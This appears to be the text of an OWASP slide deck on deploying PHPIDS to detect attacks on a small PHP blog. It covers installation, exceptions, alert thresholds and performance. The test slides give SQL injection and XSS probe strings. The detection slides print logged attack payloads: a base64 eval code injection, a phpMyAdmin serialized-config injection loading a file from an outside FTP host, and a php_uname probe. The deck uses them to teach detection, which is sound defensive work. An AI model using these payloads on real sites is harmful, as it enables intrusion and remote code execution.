Using PHPIDS to Understand Attacks Trends - OWASP

Using PHPIDS to Understand Attacks Trends

@grecs

Infosec Career Start - WebAppSec

• Around 2002 • Sooo Much Simpler

– No CSRF, Click-Jacking, … SQLi – No SOAP – No AJAX – No HTML5

• Had Our Problems – Browser Wars Still Going On – Per Browser Customizations – No Guidance – Limited Security Libraries – Immature Tools

Pic of hacked sites; news articles of breaches, mid-2000s

Infosec COTS

Agenda

• Introduction • Why Use PHPIDS? • What Is PHPIDS? • Installation • Maintenance & Operations • Performance Issues • Bypassing • Detection Trends • Use Within Other Tools • Conclusion

Introduction

• Understand What People Could Be Hitting Site With • Not Many Security Log Parsing Scripts • Just Look Through & Look for “Things”

– Only GET-Based Attacks Recorded

• Possible Tools for Monitoring – Simple Log Watcher (SWATCH) – PHPIDS

• PHPIDS – Open Source – Awesome Software – Little Documentation for Lay Tech Person Like Myself – Took Few Hours to Figure Out Ins & Outs (many more later to tweak,

maintain, & really understand it) – Wanted to Document for Others to Use

Why Use PHPIDS?

• Mom & Pop Self-Hosted Blog • $10/mo Shared Hosting Plan • Limited Web Server Access/Control

– Nothing at Network Level • NIDS (e.g., Snort)

– Nothing at OS Level – Nothing at Web Server Level

• WAF (e.g., modSecurity)

– Limited at PHP Level • No Configs Control (php.ini) • Full Control of PHP Written Code

• Forget Big Vendor $50K Software or Hardware Appliance

What Is PHPIDS?

• Definition

• Architecture

• Operational Flow

• Detection Mechanisms

What Is PHPIDS? Definition

PHPIDS (PHP-Intrusion Detection System) is a simple to use, well structured, fast and state-of-the-art security layer for your PHP based

web application. The IDS neither strips, sanitizes nor filters any malicious input, it simply recognizes when an attacker tries to break

your site and reacts in exactly the way you want it to. Based on a set of approved and heavily tested filter rules any attack is given a numerical

impact rating which makes it easy to decide what kind of action should follow the hacking attempt. This could range from simple

logging to sending out an emergency mail to the development team, displaying a warning message for the attacker or even ending the

user’s session.

PHPIDS enables you to see who’s attacking your site and how and all without the tedious trawling of logfiles or searching hacker forums for

your domain. Last but not least it’s licensed under the LGPL!

What Is PHPIDS? - Architecture

What Is PHPIDS? – Operational Flow

Email Database

What Is PHPIDS? Detection Mechanisms • Anti-Evasion Normalizations

– Converter.php

• Signatures – default_filter.xml

• Centrifuge – Incoming Strings > 25 Characters

– Ratio = Count of Word Characters, Spaces, Punctuation / Non-Word Characters

– Lower the Ratio ~ Greater Probability of Attack

– Normal = 7.5; Attack Trigger < 3.5

Installation

• Install Code

• Create Reference File

• Include Reference File

• Verify Working

• Prepare for Production

Installation Install Code • Web Host

– No Access to Recommended /var/lib Directory

– Create “applications” Folder Off User’s Home Directory

– Could Put in WWW Directory If Don’t Use DB Logging

– Most Recommend Keeping Out of Web Root

• Upload & Unzip into Directory Outside of Web Root – ./applications/phpids-0.7

– Keep Version Numbers for Easy Upgrades/Reverts

Installation Create Reference File

• Create phpids.php File in Website’s Root

• Base on “phpids-0.7/docs/examples/example.php”

• Change Path References to PHPIDS Installation – Just Three Lines

• Verify Permissions to 644

First Change // set the include path properly for PHPIDS … . ‘/home/[user]/applications/phpids-x.x/lib’ Second Change /* * It’s pretty easy to get the PHPIDS running * 1. Define what to scan … $init = IDS_Init::init(‘/home/[user]/applications/phpids-x.x/lib/IDS/Config/Config.ini.php’); Third Change /** * You can also reset the whole configuration * array or merge in own data … $init->config['General']['base_path'] = ‘/home/[user]/applications/phpids-x.x/lib/IDS/’;

Installation Include Reference File

• Include phpids.php in Template Files

• After Header Call

– header.php

• <?php include ‘phpids.php’; ?>

Installation Other Tweaks

• Email Detections

– recipients[] = [email here]

• Exceptions

Installation Verify Working

Installation Verify Working

Installation Verify Working

Legend CSRF: Cross-Site Request Forgery DT: Dir Traversal ID: Info Disclosre LFI: Loc File Inclu RFE: Remote File Exe SQLI: SQL Inject XSS: Cross-Site Script

Installation Verify Working

• Verify Logged

“a.b.c.d",2012-04-05T19:20:03+00:00,26,"sqli id lfi","REQUEST.test%3D%255C%2522aaa%255C%2522%2520or%25201%253D1%253B+GET.test%3D%255C%2522aaa%255C%2522%2520or%25201%253D1%253B","%2F%3Ftest%3D%2522aaa%2522%2520or%25201%3D1%3B",”e.f.h.i” REQUEST=\"aaa\" or 1=1;

Installation Verify Working

• Additional Examples To Try

– ?test=’%20OR%201=1--

– ?test=”>XXX

• Cleanup phpids.php • Comment Out

– Initial Echo – Commands that Show It

Detected an Attack

• Optional – Remove All Folders in PHPIDS

Directory Except for “./phpids-0.7/lib/IDS”

• Final Test – Previous Slides

Installation Prepare for Production

Installation Prepare for Production

… /* echo $result; */ … /* require_once ‘IDS/Log/Database.php’; */ … /* IDS_Log_Database::getInstance($init) */ … } /* else { echo ‘<a href=”?test=%22><script>eval(window.name)</script>”>No attack detected – click for an example attack</a>’; } */ …

Maintenance & Operations

• Calibrating Installation

• Updating Signatures

• Keeping Attackers Away

• Adding Thresholds

Maintenance & Ops Calibrating Installation • Lots of Google Analytics Cookie

False Positives

– Add Exceptions to Config

– Comes with Two Related Amazon Exceptions ~ GET

– Add New Under Two Default Exceptions • exceptions[] = COOKIE.__utmz

“x.x.x.x,yyyy-mm-ddT19:31:03-05:00,12,”xss csrf id rfe lfi”,”COOKIE.__utmz=123456789.1234567890.1.1.utmcsr%3Dgoogle%7Cutmccn%3D%28organic%29%7Cutmcmd%3Dorganic%7Cutmctr%3DNOVA%20cyber%20defense”,”%2F2009%2F10%2F16%2Fin-focus-advertise-with-us%2F”,”xx.x.xxx.xxx”

Maintenance & Operations Calibrating Installation • Lived with For Awhile But • Still Lots of False Positives

– Get Feel for What Install Pickings Up – Slowly Tweak Exceptions to Meet Needs

• ColdFusion Cookies Plaguing Me? – exceptions[] = COOKIE.CFGLOBALS

• Others Google Analytics? – GET, POST, REQUEST, & COOKIE Methods – .utmz and .utmc

• Exception for All COOKIE Methods? • Recommend Using Minimum Necessary

Maintenance & Ops Updating Signatures • Signature Based Keep Up to

Date • Download from PHPIDS.org &

Overwrite – default_filter.xml – Converter.php

• Every 2 or 3 Months • Upgrading PHPIDS Software

– Install in Peer Folder • phpids-0.8

– Point phpids.php Paths to New Version

Maintenance & Ops Keeping Attackers Away • Simple Impact Threshold

Blocking • phpids.php

– if (!$result->isEmpty()) {}

– if (!$result->isEmpty()) {die(‘<h1>Go away!</h1>’);}

• Risk Turning FPs Away • Set Threshold for “die”

Statement – if ($result->getImpact() >= 50) {

die(‘<h1>Go away!</h1>’); }

Maintenance & Operations Adding Thresholds

• Only Alert by Email If Impact above Certain Level

• Suggested – Logging to File >= 10

– Logging to DB >= 25

– Report by Email >=50

– Stop Loading Page >= 100 (die($msg))

• CakePHP Example Provides Relatively Complex Code for Thresholding for IDS Reactions

Maintenance & Ops Adding Thresholds • phpids.php

– From: if (!$result->isEmpty()) {}

– Replaced Below to Be Conditional • “$compositeLog-

>addLogger(IDS_Log_Email::getInstance($init) .. <stuff I commented out> ..);”

• if ($result->getImpact() >= 25) { <the above compositeLog code> }

Performance Issues

• Lots of Contention

• Some Say No Effect

• Others Say Big Effect

• IronGeek Used but Removed

Performance Issues

• Developer Profiled CakePHP 1.1 in 3/2008

• Xdebug Profiler Output in KCachegrind

0.54%

Performance Issues

• Pingdom.com

– Website Uptime & Performance Monitoring

– Response Time

10 Sites Globally 1145 ms

Performance Issues

• Pingdom.com

4 Sites US 845 ms

Interesting Detections

• IP: a.b.c.d Date: 2012-01-31 Impact: 92 Affected tags: xss csrf id rfe sqli lfi Affected parameters: REQUEST.char_repl=%5C%27%7B%24%7Bdie%28eval%28base64_decode%28%24_POST%5BJUNGLIEZ%5D%29%29%29%7D%7D%5C%27%3D%3E, POST.char_repl=%5C%27%7B%24%7Bdie%28eval%28base64_decode%28%24_POST%5BJUNGLIEZ%5D%29%29%29%7D%7D%5C%27%3D%3E, Request URI: /vbseocp.php

• \'{${die(eval(base64_decode($_POST[JUNGLIEZ])))}}\'=>, POST.char_repl=\'{${die(eval(base64_decode($_POST[JUNGLIEZ])))}}\'=>

Interesting Detections

• IP: a.b.c.d Date: 2012-01-24 Impact: 44 Affected tags: xss csrf id rfe sqli lfi Affected parameters: REQUEST.configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%5C%22PMA_Config%5C%22%3A1%3A%7Bs%3A6%3A%5C%22source%5C%22%3Bs%3A48%3A%5C%22ftp%3A%2F%2Fu966867539%3A240790%4031.170.163.212%2F.a%2Fid.txt%5C%22%3B%7D%7D, POST.configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%5C%22PMA_Config%5C%22%3A1%3A%7Bs%3A6%3A%5C%22source%5C%22%3Bs%3A48%3A%5C%22ftp%3A%2F%2Fu966867539%3A240790%4031.170.163.212%2F.a%2Fid.txt%5C%22%3B%7D%7D, Request URI: /pma/scripts/setup.php

• a:1:{i:0;O:10:\"PMA_Config\":1:{s:6:\"source\";s:48:\"ftp://u966867539:240790@31.170.163.212/.a/id.txt\";}}, POST.configuration=a:1:{i:0;O:10:\"PMA_Config\":1:{s:6:\"source\";s:48:\"ftp://u966867539:240790@31.170.163.212/.a/id.txt\";}},

Interesting Detections

• IP: a.b.c.d Date: 2012-01-22 Impact: 26 Affected tags: sqli id lfi xss csrf rfe Affected parameters: REQUEST.author_name=%5Bphp%5Decho%28%5C%27Origins%5C%27.php_uname%28%29.%5C%27scanner%5C%27%29%3Bdie%28%29%3B%5B%2Fphp%5D, POST.author_name=%5Bphp%5Decho%28%5C%27Origins%5C%27.php_uname%28%29.%5C%27scanner%5C%27%29%3Bdie%28%29%3B%5B%2Fphp%5D, Request URI: /email.php

• [php]echo(\'Origins\'.php_uname().\'scanner\');die();[/php], POST.author_name=[php]echo(\'Origins\'.php_uname().\'scanner\');die();[/php],

Use within Other Tools

• PHPIDS Not Meant to Be Complete Tool • Plumbing that Other Tools Can Include to Perform More Advanced

Analysis/Capabilities – Shunning IP Addresses for Period of Time.

• WordPress – WPIDS – Abandoned? – Mute Screamer

• Others – ModSecurity (uses default filter rules) – Drupal Module – Mediawiki Extension – ZIDS (Zend framework) – px_phpids (Typo3) – Dotnetids (ASP.NET apps)

References

• Intrusion Detection For PHP Applications With PHPIDS – http://www.howtoforge.com/intrusion-detection-for-php-applications-with-phpids

• Getting Started with the PHPIDS Intrusion Detection System – http://www.h-online.com/security/features/Getting-started-with-the-PHPIDS-intrusion-

detection-system-746233.html

• PHPIDS FAQ – http://php-ids.org/faq/

• http://forum.cmsmadesimple.org/index.php?topic=12884.msg173160 • PHPIDS Install Notes

– http://www.irongeek.com/i.php?page=security/phpids-install-notes

• PHPIDS - Monitoring attack surface activity – https://docs.google.com/Doc?id=dd7x5smw_17g9cnx2cn&pli=1

• http://holisticinfosec.org/toolsmith/docs/july2008.pdf • Wikipedia

– https://en.wikipedia.org/wiki/PHPIDS

• PHPIDS Forum

Conclusion

• Security Layer for PHP Web Application Where Attacks Detected & Given Numerical Impact Rating

• Fits Mom & Pop Scenario – Normal Enterprise this Would Never Do – Part of Layered Defense

• Keep PHP Application Patched/Up to Date • PHPIDS

• Easy Installation & Maintenance • Need to Refine Over Time • Customize with Exceptions/Alert Thresholds • -Detection Trends • CMS Plugins that Provide Advanced Functionality to “Plumbing”

Contact Info

• Twitter @grecs

• Website NovaInfosecPortal.com

• Contact http://bit.ly/nispcontact

Questions?